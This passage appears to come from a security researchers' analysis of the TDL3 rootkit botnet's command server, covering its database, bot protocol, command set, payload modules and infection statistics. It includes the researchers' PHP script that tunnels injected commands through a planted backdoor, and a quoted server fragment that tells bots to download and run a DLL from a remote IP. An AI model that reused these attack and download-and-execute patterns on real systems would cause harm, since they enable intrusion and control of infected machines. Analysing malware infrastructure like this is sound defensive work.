The configuration panel was moved to 188.72.242.191, while our backdoor script
stayed on 188.72.242.190. So we were unable to get access to the backdoor. The
following script was developed to solve this problem:

[code]

    <?php
    
    $fp = fsockopen("ssl://94.228.209.145",443,$errno,$errstr);
    if(!$fp) die("[e] $errno,$errstr");
    $header  = "GET /MakeBuild.php?aid=;".urlencode($argv[1]).";&dbg=1 HTTP/1.1\r\n";
    $header .= "Host: bld.newnetengine.com\r\n";
    $header .= "Connection: close\r\n\r\n";
    
    fwrite($fp,$header);
    while(!feof($fp)) print(fgets($fp,256));
    fclose($fp);
    
    print $buff;
[/code]

Executing commands on the new server via `MakeBuild.php` file

This script allows transparent tunneling of commands to the old server thanks
to nginx, which performs redirection of HTTP requests to a server defined in
the “Host:” field of the request \(`bld.newnetengine.com`\).

## Part 2. Analysis

Botnet command server works under 64-bit Ubuntu Linux:

[code]

    # uname -a
    Linux C020 2.6.29.2 #1 SMP Sun Jul 26 11:29:05 CEST 2009 x86_64 GNU/Linux 
    # cat /etc/lsb-release
    DISTRIB_ID=Ubuntu
    DISTRIB_RELEASE=9.04
    DISTRIB_CODENAME=jaunty
    DISTRIB_DESCRIPTION="Ubuntu 9.04"
[/code]

IPs are assigned for eth0 network interface:

[code]

    # ifconfig
    eth0      Link encap:Ethernet  HWaddr 00:21:85:63:2c:55  
              inet addr:212.117.162.50  Bcast:212.117.162.255  Mask:255.255.255.0
              inet6 addr: fe80::221:85ff:fe63:2c55/64 Scope:Link
              UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
              RX packets:8401814139 errors:0 dropped:0 overruns:0 frame:0
              TX packets:7557368326 errors:0 dropped:0 overruns:0 carrier:0
              collisions:0 txqueuelen:1000 
              RX bytes:855626520252 (855.6 GB)  TX bytes:4595270022127 (4.5 TB)
              Interrupt:17 Base address:0x2000 
    
    eth0:1    Link encap:Ethernet  HWaddr 00:21:85:63:2c:55  
              inet addr:91.212.226.59  Bcast:91.255.255.255  Mask:255.255.255.255
              UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
              Interrupt:17 Base address:0x2000 
    
    eth0:2    Link encap:Ethernet  HWaddr 00:21:85:63:2c:55  
              inet addr:91.212.226.60  Bcast:91.255.255.255  Mask:255.255.255.255
              UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
              Interrupt:17 Base address:0x2000 
    
    eth0:3    Link encap:Ethernet  HWaddr 00:21:85:63:2c:55  
              inet addr:91.212.226.61  Bcast:91.255.255.255  Mask:255.255.255.255
              UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
              Interrupt:17 Base address:0x2000 
    
    eth0:4    Link encap:Ethernet  HWaddr 00:21:85:63:2c:55  
              inet addr:91.212.226.62  Bcast:91.255.255.255  Mask:255.255.255.255
              UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
              Interrupt:17 Base address:0x2000 
    
    eth0:5    Link encap:Ethernet  HWaddr 00:21:85:63:2c:55  
              inet addr:91.212.226.63  Bcast:91.255.255.255  Mask:255.255.255.255
              UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
              Interrupt:17 Base address:0x2000 
    
    eth0:6    Link encap:Ethernet  HWaddr 00:21:85:63:2c:55  
              inet addr:91.212.226.64  Bcast:91.255.255.255  Mask:255.255.255.255
              UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
              Interrupt:17 Base address:0x2000 
    
    eth0:7    Link encap:Ethernet  HWaddr 00:21:85:63:2c:55  
              inet addr:91.212.226.65  Bcast:91.255.255.255  Mask:255.255.255.255
              UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
              Interrupt:17 Base address:0x2000 
    
    eth0:8    Link encap:Ethernet  HWaddr 00:21:85:63:2c:55  
              inet addr:91.212.226.66  Bcast:91.255.255.255  Mask:255.255.255.255
              UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
              Interrupt:17 Base address:0x2000 
    
    eth0:9    Link encap:Ethernet  HWaddr 00:21:85:63:2c:55  
              inet addr:91.212.226.67  Bcast:91.255.255.255  Mask:255.255.255.255
              UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
              Interrupt:17 Base address:0x2000 
    
    lo        Link encap:Local Loopback  
              inet addr:127.0.0.1  Mask:255.0.0.0
              inet6 addr: ::1/128 Scope:Host
              UP LOOPBACK RUNNING  MTU:16436  Metric:1
              RX packets:10295737718 errors:0 dropped:0 overruns:0 frame:0
              TX packets:10295737718 errors:0 dropped:0 overruns:0 carrier:0
              collisions:0 txqueuelen:0 
              RX bytes:3644745121946 (3.6 TB)  TX bytes:3644745121946 (3.6 TB)
[/code]

Among them, four IPs \(91.212.226.60, 91.212.226.61, 91.212.226.62 and
91.212.226.64\) relay to web gate for bots, two of them \(91.212.226.63 and
212.117.162.50\) are used to access the compilation scripts, and one
\(91.212.226.59\) points to the administration panel.

<img src='img/Temp2_7841.jpg' width='449' height='488' alt='User accounts
listed in /etc/shadow file' />

User accounts listed in `/etc/shadow` file

At the moment of analysis the server’s process list looked as follows:

[code]

      PID TTY      STAT   TIME COMMAND
     1076 ?        S<s    0:04 /sbin/udevd --daemon
     1575 ?        S    1154:22 /usr/sbin/lighttpd -f /etc/lighttpd/lighttpd.conf
     2453 ?        Ss     0:00 /sbin/mdadm --monitor --pid-file /var/run/mdadm/monitor.pid --daemonise --scan --syslog
     3801 tty2     Ss+    0:00 /sbin/getty 38400 tty2
     3826 ?        Ss     0:16 /sbin/syslogd -u syslog
     3845 ?        S      0:00 /bin/dd bs 1 if /proc/kmsg of /var/run/klogd/kmsg
     3848 ?        Ss     0:00 /sbin/klogd -P /var/run/klogd/kmsg
     3890 ?        Ss     1:54 /bin/dbus-daemon --system
     3936 ?        Ssl   69:36 /usr/sbin/named -u bind
     3973 ?        Ss     0:01 /usr/sbin/ntpd -p /var/run/ntpd.pid -u 108:117 -g
     3986 ?        Ss     0:01 /usr/sbin/sshd
     3991 ?        Sl   1736:18 /usr/bin/memcached -m 2048 -p 11211 -u nobody -l 127.0.0.1
     4067 ?        Ss     0:00 /usr/lib/postfix/master
     4084 ?        S      0:00 qmgr -l -t fifo -u
     4086 ?        Ss     0:00 /usr/sbin/winbindd
     4113 ?        S      0:00 /usr/sbin/winbindd
     4118 ?        Ss    86:34 avahi-daemon: running [C020.local]
     4119 ?        Ss     0:00 avahi-daemon: chroot helper
     4134 ?        S      0:00 /usr/bin/rsync --no-detach --daemon --config /etc/rsyncd.conf
     4185 ?        Ss     0:03 /usr/sbin/cron
     4220 tty1     Ss+    0:00 /sbin/getty 38400 tty1
     4225 ?        Ssl   36:54 /usr/sbin/console-kit-daemon
     4436 ?        S<   223:30 [loop3]
     4465 ?        S<    72:26 [kjournald2]
     4498 ?        S      0:00 /bin/sh /usr/bin/mysqld_safe
     4728 ?        SLl  87943:36 /usr/sbin/mysqld
     6773 ?        S      0:39 /usr/bin/php-cgi
     7303 ?        S      0:32 /usr/bin/php-cgi
     7320 ?        S      0:31 /usr/bin/php-cgi
     7447 ?        S      0:27 /usr/bin/php-cgi
     7590 ?        S      0:25 /usr/bin/php-cgi
     7796 ?        S      0:19 /usr/bin/php-cgi
     7944 ?        S      0:16 /usr/bin/php-cgi
     7982 ?        S      0:15 /usr/bin/php-cgi
     8002 ?        S      0:00 /USR/SBIN/CRON
     8048 ?        Ss     0:00 /bin/sh -c /usr/bin/php /var/www/engine/cron/affiliatesstatisticsbuildslife.php
     8058 ?        S      0:05 /usr/bin/php /var/www/engine/cron/affiliatesstatisticsbuildslife.php
     8243 ?        S      0:00 /USR/SBIN/CRON
     8282 ?        Ss     0:00 /bin/sh -c /usr/bin/php /var/www/engine/cron/affiliatesstatisticsbuildsmlife.php
     8287 ?        S      0:06 /usr/bin/php /var/www/engine/cron/affiliatesstatisticsbuildsmlife.php
     8467 ?        S      0:00 /USR/SBIN/CRON
     8483 ?        Ss     0:00 /bin/sh -c /usr/bin/php /var/www/engine/cron/affiliatesstatisticsbuildswlife.php
     8484 ?        S      0:03 /usr/bin/php /var/www/engine/cron/affiliatesstatisticsbuildswlife.php
     8637 ?        S      0:00 pickup -l -t fifo -u -c
     8812 ?        S      0:30 /usr/bin/php-cgi
     8903 ?        S      0:26 /usr/bin/php-cgi
     8937 ?        S      0:18 /usr/bin/php-cgi
     8966 ?        S      0:17 /usr/bin/php-cgi
     8971 ?        S      0:16 /usr/bin/php-cgi
     9057 ?        S      0:08 /usr/bin/php-cgi
     9081 ?        S      0:05 /usr/bin/php-cgi
     9249 ?        S      0:03 /usr/bin/php-cgi
     9299 ?        S      0:00 sh -c ps ax
     9300 ?        R      0:00 ps ax
    26004 ?        S      0:00 [pdflush]
    26007 ?        S      0:01 [pdflush]
    27746 ?        Ss     0:00 ssh-agent
    28031 ?        Ss     0:01 /usr/bin/php-cgi
    28042 ?        Ss     0:03 /usr/bin/php-cgi
[/code]

### Database and scripts

On the server MySQL software is installed to access data bases. LightTPD with
enabled PHP is used to process HTTP requests. Part of the data which are being
accessed most often are cached in memory by memcached program.

Administration panel scripts and botnet gateway scripts are located in
`/var/www/engine` directory, which is organized as follows:

[code]

    +--- cron              - scheduled PHP scripts
    +--- data              - database of GeoIP addresses and some text files
    +--- library           - various PHP libraries used by scripts
    +--- public            - scripts to process requests from bots
    |                        (root directory of the botnet gateway)
    \--- tools
    |    +--- controllers  - administration panel scripts
    |    +--- layouts      - basic HTML template for the administration panel
    |    +--- public       - basic administration panel scripts
    |    |                   (root directory of the administration panel web-server)
    |    +--- views        - HTML layouts for various administration panel pages
    +--- configuration.php – database access settings etc.
[/code]

To date of access, the server database contained 47 tables with overall 17 719
469 records, and its size was about 2.6 GB.

Names of tables and its purpose:

Table name| Amount of records| Data size| Purpose  
---|---|---|---  
`affiliates`| 512| 80,0 кБ| Partners accounts and its statistics  
`affiliatesaccounts`| 607| 64,0 кБ  
`affiliatesregistrations`| 507| 64,0 кБ  
`affiliatesstatistics`| ≈ 62 136| 8,5 МБ  
`affiliatesstatisticsbrowser`| ≈ 53 072| 7,1 МБ  
`affiliatesstatisticsbuild`| ≈ 5 979 072| 655,8 МБ  
`affiliatesstatisticscountry`| ≈ 245 253| 26,1 МБ  
`affiliatesstatisticssts`| 63| 3,3 кБ  
`affiliatesstatisticssystem`| ≈ 56 982| 7,1 мБ  
`bots`| ≈ 5 247 199| 1,4 ГБ| Basic table with information about bots  
`browsers`| 3 690| 240,0 кБ| Additional information about bots \(browser
versions, rootkit versions, `TDLCMD.DLL` module version, country, OS version\)  
`builds`| 172| 16,0 кБ  
`countries`| 253| 16,0 кБ  
`systems`| 101| 16,0 кБ  
`commands`| 55| 16,0 кБ| Commands for bots, its statistics, commands history,
additional parameters  
`commandsexecuted`| ≈ 4 546 977| 337,5 МБ  
`commandshistory`| 1 590| 224,0 кБ\)  
`commandsinfo`| 55| 64,0 кБ  
`commandsproperties`| 909| 64,0 кБ  
`modules`| 13| 400,0 кБ| Executable modules for bots  
`redirects`| 0| —| URL-redirections  
`redirectsexecuted`| 0| —  
`remover_bho`| 6 050| 1,5 МБ| Statistics of `remover` module  
`remover_bho_stat`| 20| 1,9 кБ  
`remover_dda`| 642| 144,0 кБ  
`remover_dda_stat`| 21| 1,9 кБ  
`remover_dir`| ≈ 37 991| 7,5 МБ  
`remover_dir_stat`| 20| 1,9 кБ  
`remover_errors`| 18 914| 2,5 МБ  
`remover_extra`| ≈ 289 449| 54,6 МБ  
`remover_extra_stat`| 18| 1,9 кБ  
`remover_guid`| ≈ 21 220| 4,5 МБ  
`remover_guid_stat`| 20| 1,9 кБ  
`rules`| 0| —| Unknown  
`ruleshistory`| 0| —  
`statuses`| 1 982| 72,3 кБ| Unknown  
`statuses_limits`| 1 138 919| 115,0 МБ  
`statuses_statistics`| 3 956| 102,8 кБ  
`users`| 10| 16,0 кБ| Accounts of administration panel users  
Let’s look through the structure of the most interesting tables.

### Requests from bots to the server

Immediately after installation, a bot starts polling the server for commands
in a loop. As it was mentioned above, a bot’s requests are first encoded in
RC4, then into base64, and are finally sent to botnet gateway via HTTPS.

Command request format may vary from version to version of the rootkit. In
most verstions, a request looks as follows before encryption:

[code]

    bot_ID|aff_ID|aff_SID|rootkit_ver|tdlcmd_ver|os_ver|lang|browser|build_date|install_date
[/code]

Fields description:

Field| Purpose  
---|---  
`bot_ID`| Unique bot identifier, e.g. `7a91eb86-a6be-4db5-8694-0337dad2c75d`  
`aff_ID`| Bot owner ID  
`aff_SID`| Sub account ID  
`rootkit_ver`| Rootkit version  
`tdlcmd_ver`| Version of `TDLCMD.DLL` module \(basic module of bot’s payload\)  
`os_ver`| OS version  
`lang`| OS language  
`browser`| Browser of infected computer. Value of this field is a path to
executable file of the browser, found in registry key
`HKEY_LOCAL_MACHINE\SOFTWARE\Classes\HTTP\shell\open\command`  
`build_date`| Compilation date of bot’s executable files \(optional\)  
`install_date`| Infection date \(optional\)  
Besides requests for commands, command server scripts can process some special
requests like the following:

[code]

    module_ID|value_1|value_2|...|value_N
[/code]

Field| Purpose  
---|---  
`module_ID`| Identifier of request type \(equivalent to module name which is
being addressed\)  
`value_1`–`value_N`| Random amount of string and/or integer data, depending on
the request type  
No functionality to perform special requests is hardcoded in the rootkit
binary, but it can happen as a result of other commands execution, such as a
command to download additional payload module.

Let’s see how the server processes requests from bots. In the first lines of
`/var/www/engine/index.php` script, after including of required header files,
requests decoding takes place:

[code]

    <?php
    try {
    
        // declaration of constants – paths to various directories
        define('DS'                    , DIRECTORY_SEPARATOR       );
        define('DIR_ROOT'              , realpath('../')           );
        define('DIR_LIBRARY'           , DIR_ROOT.DS.'library'     );
        define('DIR_LIBRARY_CLASSES'   , DIR_LIBRARY.DS.'classes'  );
        define('DIR_LIBRARY_MODELS'    , DIR_LIBRARY.DS.'models'   );
        define('DIR_LIBRARY_FUNCTIONS' , DIR_LIBRARY.DS.'functions');
        define('DIR_DATA'              , DIR_ROOT.DS.'data'        );
    
        // activating external modules
        require_once( DIR_ROOT . DS . 'configuration.php' );
        require_once( DIR_LIBRARY_CLASSES . DS . 'DBase.php' );
        require_once( DIR_LIBRARY_FUNCTIONS . DS . 'rc4Encrypt.php' );
        require_once( DIR_LIBRARY_MODELS . DS . 'mBots.php' );
        require_once( DIR_LIBRARY_MODELS . DS . 'mAffiliate.php' );
        require_once( DIR_LIBRARY_MODELS . DS . 'mAffiliates.php' );
        require_once( DIR_LIBRARY_MODELS . DS . 'mBrowsers.php' );
        require_once( DIR_LIBRARY_MODELS . DS . 'mBuilds.php' );
        require_once( DIR_LIBRARY_MODELS . DS . 'mSystems.php' );
        require_once( DIR_LIBRARY_MODELS . DS . 'mCountries.php' );
        require_once( DIR_LIBRARY_MODELS . DS . 'mCommands.php' );
        require_once( DIR_LIBRARY_MODELS . DS . 'mCommandsMemcache.php' );
        
        // decoding RC4-request (using server name as a key)
        $request      = rc4Decrypt( $_SERVER["HTTP_HOST"], base64_decode( substr( $_SERVER["REQUEST_URI"], 1 ) ) ); 
        $requestCount = 0;
        $requestHost = $_SERVER["HTTP_HOST"];
    
        if( $request ) {
            // split request line into array elements
            $request      = explode( '|', $request );
            $requestCount = sizeof( $request );
        } else {
            header("HTTP/1.0 404 Not Found");
            exit();
        }
    
        ...
[/code]

As you can see from this code, request fields are saved in the `$request`
array. Then a module is activated which corresponds to the first array element
\(i.e. special request ID\).

Special request ID| Script name| Purpose  
---|---|---  
`remover`| `remover.php`| Receiving statistics from the `remover` module
\(more details below\)  
`services`| `services.php`| Partner accounts management \(create, delete,
request of information\)  
`rules`| `rules.php`| Collection of executed commands output.  
`redirect`| `redirect.php`| Redirecting to a URL with a given ID, stored in
the server database  
`installation`| `installation.php`| Displaying content of file
`/var/www/engine/data/affId_affSid.dat`, where `affId` and `affSid` —
identifiers of account and subaccount of a partner, specified in a request.
Purpose of this file is unknown, because we didn’t find any corresponding
files on target server.  
`modules`| `modules.php`| Processing of additional module requests from bots.  
If value of the first field of a request doesn’t match any special request ID,
listed in the previous table, then the request is processed as a regular
command request:

[code]

        } elseif( $requestCount == 8 || $requestCount == 10 ) {
        
            // connect to database
            DBase::connect( DBASE_HOST , DBASE_USER , DBASE_PWD , DBASE_BASE );
        
            // connect to memcached daemon
            $objMemcache = new Memcache;
            $objMemcache->connect( MCACHE_HOST, MCACHE_PORT );
            
            // receive information about bot from request fields
            $requestName      = $request[0];
            $requestAffAid    = $request[1];
            $requestAffSid    = $request[2];
            $requestRk        = $request[3];
            $requestCmd       = $request[4];
            $requestSystem    = $request[5];
            $requestLang      = $request[6];
            $requestBrowser   = $request[7];
            
            if( $requestCount == 8 ) {    
                // no information about compilation and infection dates in request 
                $requestBuildDate   = 0;
                $requestInstallDate = 0;
            } else {
                $requestBuildDate   = strtotime( $request[8] );
                $requestInstallDate = strtotime( $request[9] );
            }
    
            $requestBuild     = "{$requestRk}_{$requestCmd}";
            $requestIp        = ip2long( $_SERVER['REMOTE_ADDR'] );
    
            $requestAffId     = null;
            $requestSystemId  = null;
            $requestBrowserId = null;
            $requestBuildId   = null;
    
            // activate engine.php module
            // it adds information about bot to database and processes command request
            include('engine.php');
            
            $objMemcache->close();
            DBase::disconnect(); 
            
            ...
[/code]

Upon receiving a regular commands request, the server sends a list of commands
back to the bot. Commands are encoded in RC4, the bot ID serving as an
encryption key.

### Partners accounts

`The affiliates` table contains information about partners accounts. Such
accounts can be edited by the administration panel operator.

[code]

    CREATE TABLE IF NOT EXISTS `affiliates` (
      `affId` int(11) unsigned NOT NULL auto_increment,   -- table key
      `affAid` char(20) NOT NULL,                         -- identifier of partner account
      `affGroup` int(11) unsigned NOT NULL,               -- group of partner account
      `affLogin` char(32) default NULL,                   -- name (login) of partner account  PRIMARY KEY  (`affId`)
    );
[/code]

<img src='img/Temp2_7834.jpg' width='709' height='267' alt='Editing partner
account in botnet admin panel' />

Editing partner account in botnet admin panel

Each partner can own any number of bot executables. Partner ID is hardcoded in
a bot executable file during compilation. After the rootkit installation the
ID is stored in config.ini file in the rootkit’s own file system.

Subaccounts can be used to group a partner’s bot executables.

<img src='img/Temp2_7840.jpg' width='547' height='132' alt='Identifiers of a
partner’s account and subaccounts are stored in config.ini file.' />

Identifiers of a partner’s account and subaccounts are stored in `config.ini`
file.

Partner accounts can be managed directly by sending the following request to
botnet gateway:

[code]

    services|operation_code|argument_1|argument_2|...|argument_N
[/code]

Field| Purpose  
---|---  
`operation_code`| Code of operation to be executed  
`argument_1`–`argument_N`| Optional argument – its format is defined by
particular operation  
Operation codes are defined in the following table:

Operation code| Arguments| Purpose  
---|---|---  
100| `affAid`, `affLogin`, `affGroup`| Creating of a new partner account.  
110| `affId`| Deleting of an existing account.  
120| `affAid`| Showing all subaccounts for a given account.  
150| `engineType`| Adding of a new account with automatic generation of
`affAid`. Value of `affGroup` is selected according to value of `engineType`  
200| `affAid`, `affSid`, `statDateFrom`, `statDateTo`| Requesting number of
bot installations for a given account and a given period of time.  
201| `affAid`, `affSid`, `statDateFrom`, `statDateTo`| Requesting bots by
country statistics for a given account and a given period of time.  
301| —| Enumeration of existing partner accounts.  
Request parameters details:

Parameter| Purpose  
---|---  
`affId`| Parameters correspond to cognominal fields in `affiliates` table  
`affAid`  
`affSid`  
`affLogin`  
`statDateFrom`| Dates in `Y-m-d` format  
`statDateTo`  
`affGroup`| Identifier of partner group  
List of existing partner groups is located in
`/var/www/engine/data/groups.txt`:

[code]

    Affiliates Groups
        1  - Test Installs
        10 - Our Installs
        20 - InstallConverter
        30 - ProfitCash
        40 - ReliefPPC
        50 - ConvertPPC
[/code]

Example: a query for number of bot installations between 01.08.2009 and
01.07.2010 for subaccount 0 of partner with `affAid` 10000 is as follows:

[code]

    services|200|10000|0|2009-08-01|2010-07-01
[/code]

### Main botnet table

After a bot sends request for commands for the first time, it is added to the
‘bots’ table of the server database. Values of `affId`, `affSid` and `botName`
fields are extracted from corresponding fields of request from a bot.

Class `mBots`, which enables work with `bots` table, is located in
`/var/www/engine/library/models/mBots.php` file. Functions of adding and
editing bot information are realized in `/var/www/engine/public/engine.php`.

Structure of `bots` table:

[code]

    CREATE TABLE IF NOT EXISTS `bots` (                  
      `affId` int(11) unsigned NOT NULL,                  -- identifier of partner account
      `affIdx` int(11) unsigned NOT NULL,                 -- usually equals to affId
      `affSid` smallint(6) unsigned NOT NULL default '1', -- identifier of additional account
      `botId` int(11) unsigned NOT NULL auto_increment,   -- table key
      `botName` char(60) NOT NULL,                        -- unique bot name (parameter botid in config.ini)
      `botIp` bigint(20) NOT NULL,                        -- bot IP
      `botAdded` int(11) unsigned NOT NULL,               -- date of first bot request to the server
      `botAccess` int(11) unsigned NOT NULL,              -- date of last bot request to the server
      `botCountry` tinyint(4) unsigned NOT NULL,          -- identifier of bot country
      `botSystem` smallint(6) unsigned NOT NULL,          -- identifier of Windows version of infected computer
      `botBrowser` smallint(6) unsigned NOT NULL,         -- identifier of browser version of infected computer
      `botBuild` smallint(6) unsigned NOT NULL,           -- identifier of rootkit version and module TDLCMD.DLL
      PRIMARY KEY  (`botId`),
      KEY `botName` (`botName`),
      KEY `affid_index` (`affId`),
      KEY `botAdded_index` (`botAdded`)
    );
[/code]

### Bot commands

In the end of `engine.php` script `/var/www/enginedata/commands.php` file is
activated. Its purpose is to display commands to be executed by bot.
`commands.php` script is generated dynamically using data from `commandsinfo`
table.

[code]

    CREATE TABLE IF NOT EXISTS `commandsinfo` (
      `commOwner` int(11) NOT NULL default '1',           -- identifier of user account, who has added a command
      `commId` int(11) unsigned NOT NULL auto_increment,  -- table key
      `commName` varchar(255) NOT NULL,                   -- command name
      `commDesc` text NOT NULL,                           -- command description
      `commExe` varchar(255) NOT NULL,                    -- URL of executable file (for commands related to upload and execution of executable files)
      `commStatus` enum('disable','enable',
          'deleted','temp') NOT NULL default 'enable',    -- command status (active, inactive, temporary, deleted)
      `commAdded` datetime NOT NULL,                      -- time of command creation
      `commCode` text NOT NULL,                           -- command PHP code to be included in commands.php
      `commCodeCond` text NOT NULL,                       -- additional parameters of the command
      `commCodeComm` text NOT NULL,
      `commOrder` int(11) NOT NULL,                       -- command order number
      PRIMARY KEY  (`commId`)
    );
[/code]

Class `mCommands`, which enables work with commands, is located in
`/var/www/engine/library/models/mCommands.php`. Procedure for dynamic creation
`commands.php` file is realized in regenerate method – it is called by command
from the administration panel:

[code]

    function reGenerate() {
            $code = '';
            
            // acquire information about all available commands from database
            $commands = $this->getSummaryFull();
            for ($i = 0; $i < sizeof($commands); $i++) {
                if ($commands[$i]['commStatus'] == 'enable') {
                    // get PHP code for each command
                    $code .= $this->getCode($commands[$i]['commId']) . "\r\n\r\n\r\n";
                }
            }
            
            // read template file
            // it contains static code, which should be included in commands.php
            $templateFile = dirname(__FILE__).DS.'commands.template';
            $fp = fopen($templateFile, 'r');
            $template = fread($fp, filesize($templateFile));
            fclose($fp);
            
            $template = str_replace('%COMMS%', $code, $template);
            
            // write commands.php to the disk
            $file = '/var/www/enginedata/commands.php';
            $fp = fopen($file, 'w');
            fwrite($fp, $template);
            fclose($fp);
        }
    
[/code]

<img src='img/Temp2_7860.jpg' width='574' height='383' alt='Adding a new
command to the administration panel' />

Adding a new command to the administration panel

It is possible to specify the following parameters for each command:

  * Target country IDs
  * Target partner IDs
  * Target browser versions
  * Versions of the rootkit and of the TDLCMD.DLL module.
  * Command lifetime
  * Maximal number of times a command can be executed.

Operator of administration panel can also edit part of PHP code to be included
in `commands.php`.

<img src='img/Temp2_7857.jpg' width='790' height='443' alt='Editing command
code in the administration panel' />

Editing command code in the administration panel

Any bot can process the following commands:

Command| Description  
---|---  
`botnetcmd.SetCmdDelay(_Seconds_)`| Sets interval between server requests  
`botnetcmd.ModuleDownloadUnxor(_URL_ , _LocalPath_)`| Downloads encoded
executable module  
`botnetcmd.FileDownloadRandom(_URL_ , _LocalPath_)`| Downloads random file  
`botnetcmd.LoadExe(_FileURL_)`| Downloads and executes executable file  
`botnetcmd.LoadExeKnock(_FileURL_ , _KnockURL_)`| Downloads and executes
random file and sends a HTTP-request to random URL on success  
`botnetcmd.InjectorAdd(_ProcessName_ , _DLLName_)`| Injection of DLL into
specified process \(`*` — into all processes\)  
`tdlcmd.ConfigWrite(_Section_ , _Parameter_ , _Value_)`| Writes random data
into `config.ini`  
`tdlcmd.Download(_URL_ , _LocalPath_)`| Downloads random file.  
### Payload modules

Primary functions \(payload\) of the TDL3 rootkit are provided by additional
modules. These modules are normal dynamic libraries, which are downloaded from
server and are being injected into random or current user mode process.

Information about available payload modules is stored in modules table:

[code]

    CREATE TABLE IF NOT EXISTS `modules` (
      `modId` int(11) unsigned NOT NULL auto_increment,   -- table key
      `modName` char(255) NOT NULL,                       -- module name
      `modData` longblob,                                 -- data of module’s executable image
      `modLoads` int(11) unsigned NOT NULL,               -- amount of module downloads
      PRIMARY KEY  (`modId`)
    );
[/code]

A module file can be downloaded to infected computer by `ModuleDownloadUnxor`
command. It has the following parameters:

[code]

    module|ModuleId!Key!
[/code]

Field| Purpose  
---|---  
`ModuleId`| Module identifier \(value of `modId` field in `modules` table\)  
`Key`| Any string \(optional\). This value is used as a RC4 encoding key for
the requested module.  
Request for module download is processed in
`/var/www/engine/public/modules.php` file:

[code]

    <?php
    
        require_once( DIR_LIBRARY_MODELS . DS . 'mModules.php' );
    
        // check encoding key availability in request for module download
        if( preg_match( "%(\d*)!(.*)!%Uis", $request[1], $matches ) ) {
            $modId    = $matches[1];
            $modCrypt = $matches[2];
        } else {
            $modId    = $request[1];
            $modCrypt = FALSE;
        }
     
        // get information about module
        $modDetails = mModules::details( $modId );
    
        if( $modCrypt ) {
            // return encrypted module data to a client
            print rc4Encrypt( $modCrypt, $modDetails['modData'] );
        } else {
            // return unencrypted module data to a client
            print $modDetails['modData'];
        }
        
        // increment counter of downloads for this module
        mModules::increment( $modId );
[/code]

Execution of command for a specific module is performed by sending the
following string to a bot:

[code]

    ModuleName.Function([Params])
[/code]

Field| Purpose  
---|---  
`ModuleName`| Name of module DLL on infected computer  
`Function`| Name of random function being exported by module DLL  
`Params`| Random string or integer parameters being forwarded to called
function as arguments  
Example: a piece of script, which is responsible for downloading and execution
of the `remover` module \(fragment of file `commands.php`\):

[code]

    // --- Command #273 Start ---
    
        $commId = 273;
        
        // get information about command by its identifier
        $commDetails       = $objCommands->getCommand( $commId );
        $commDetailsCreate = FALSE;
        if( $commDetails == FALSE ) {
            $commDetails['commId']       = $commId;
            $commDetails['commRefences'] = 0;
            $commDetails['commSuccesed'] = 0;
            $commDetailsCreate           = TRUE;
        }
        
        // Condition 1
        if( $botBuild >= 26 ) {
            $commDetailsBot       = mCommands::getCommandExecuted( $commId, $botId );
            $commDetailsBotCreate = FALSE;
            if( $commDetailsBot == FALSE ) {
                $commDetailsBot['botId']        = $botId;
                $commDetailsBot['commId']       = $commId;
                $commDetailsBot['commDate']     = 0;
                $commDetailsBot['commSuccesed'] = 0;
                $commDetailsBotCreate           = TRUE;
            }
            
            // Condition 2
            if( ($commDetailsBot['commSuccesed'] < 1) ) {
                $commSucces  = TRUE;
                // command for module download and its saving under tdlrm.dll
                $commOutput .= "tdlcmd.Download('https://91.212.226.60/czRvvJ+iknAB','tdlrm.dll')\n";
                // command to execute Start() function from tdlrm.dll
                $commOutput .= "tdlrm.Start()\n";
            } else {
                $commSucces  = FALSE;
            }
            
            ...
        
    // --- Command #273 End ---
[/code]

Adding and editing of modules is performed in the corresponding section of the
administration panel:

<img src='img/Temp2_7837.jpg' width='572' height='243' alt='Editing a module
in the administration panel' />

Editing a module in the administration panel

At the moment of access to web-server the following modules were present in
the database:

Module| Purpose  
---|---  
`DDoS`| Performing DDoS-attacks  
`Remover`| Small antivirus to work with Malwarebytes' Anti-Malware signature
bases to search for “foreign” malicious programs on infected computer.  
`TDLCMD`| Primary payload module of the rootkit. It includes functions of
sending messages to server, command execution etc.  
`WSP/WSP Popup`| Module of interception of requests to search engines
\(Google, Yahoo, Bing, Ask, AOL\) in order to replace search results which are
displayed in browser. It includes functions of ads popup.  
Modules are protected with unknown encryption program, therefore their
analysis may be tricky.

To date of the analysis, the amount of `Remover` module downloads equaled to
19 000 — which is disparately few in comparison to the total amount of bots.
We can suppose that at the moment of analysis the `Remover` module was being
tested and in future its developers are going to use own “antivirus” widely to
fight with rival malicious software

### Statistics

In the end of the article we would like to present some objective statistics
on the botnet. The data was extracted directly from the server databse of the
`d45648675.cn` server as of 7th February 2010.

General data:

Overall number of bots| 5 247 115  
---|---  
Number of partner accounts| 512  
Date of first bot installation| 12.08.2009  
Date of last bot installation| 07.02.2010  
Detailed statistical graphs and diagrams are below.

<img src='img/Temp2_7832.jpg' width='600' height='330' alt='Amount of new
installations by weeks (one point on graph corresponds to one week)' />

Amount of new installations by weeks \(one point on graph corresponds to one
week\)

Notable peak on the graph is a “record” of 443 364 unique installations on
19th January 2010. All installations were uniformly distributed between a
number of partner accounts. Possible reason of such rapid increase in
installations can be exploitation of an unknown 0-day vulnerability.

<img src='img/Temp2_7848.jpg' width='600' height='330' alt='Число уникальных
ботов, которые обращались к серверу в течение недели' />

Amount of unique bots, accessing the server during a week

<img src='img/Temp2_7847.jpg' width='600' height='400' alt='Распределение
ботов по странам' />

Distribution of bots by countries

<img src='img/Temp2_7855.jpg' width='600' height='400' alt='Распределение
ботов по партнёрам' />

Distribution of bots by partners

As you can see from this diagram, the largest partner provided 22.3% of all
rootkit installations, being two times more effective than second most
effective partner.

<img src='img/Temp2_7843.jpg' width='600' height='400' alt='Распределение
новых инсталляций по партнёрам' />

Distribution of new installations by partners

As you can see from this diagram, 90% of partners provide 1000-50000
downloads, 50% whereof goes to small partners \(1000-5000 downloads\). There
are just 17 partners with amount of downloads over 5000, and only one has over
1 000 000 downloads.

